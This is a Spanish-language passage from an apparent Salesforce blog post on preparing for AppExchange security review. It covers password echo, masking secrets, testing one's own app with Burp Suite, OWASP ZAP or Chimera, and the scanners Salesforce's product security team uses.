Burp Suite también es muy útil para identificar problemas relacionados con las contraseñas (por ejemplo, puede usarlo para intentar forzar sus páginas de inicio de sesión).
Esto es un poco diferente del problema de administración de contraseñas descrito anteriormente. Un eco de contraseña se refiere a situaciones en las que las contraseñas se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia página de configuración) o en llamadas API/respuestas JSON.
Asegúrese de que su contraseña no se revele ni se transmita en texto sin formato en ninguna parte de su aplicación. Asegúrese de que en las páginas de configuración u otras páginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el botón si es necesario).
Consulte la hoja de referencia sobre almacenamiento de contraseñas de OWASP para obtener más información.
Burp Suite , o quizás Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.
Si su solución incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organización. Burp Suite es una de las mejores herramientas de seguridad del mercado y también la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prepárate para invertir más tiempo en términos de revisión manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.
Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.
Salesforce Product Security también utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el código fuente del paquete Salesforce. También utilizan la base de datos CVE y el escáner Qualys SSL en la mayoría de los envíos.
Si tiene problemas de seguridad y necesita orientación técnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a través del Portal de seguridad para socios .
Por último, no podemos recomendar lo suficiente Trailhead en términos de preparación para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y también acabamos de renovar el módulo Revisión de seguridad de AppExchange , que analiza el proceso de envío de un extremo a otro.
Anika Teppo es evangelista técnica en Salesforce. Ha estado trabajando con el equipo de revisión de seguridad de AppExchange en Salesforce desde 2017, y su función actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.
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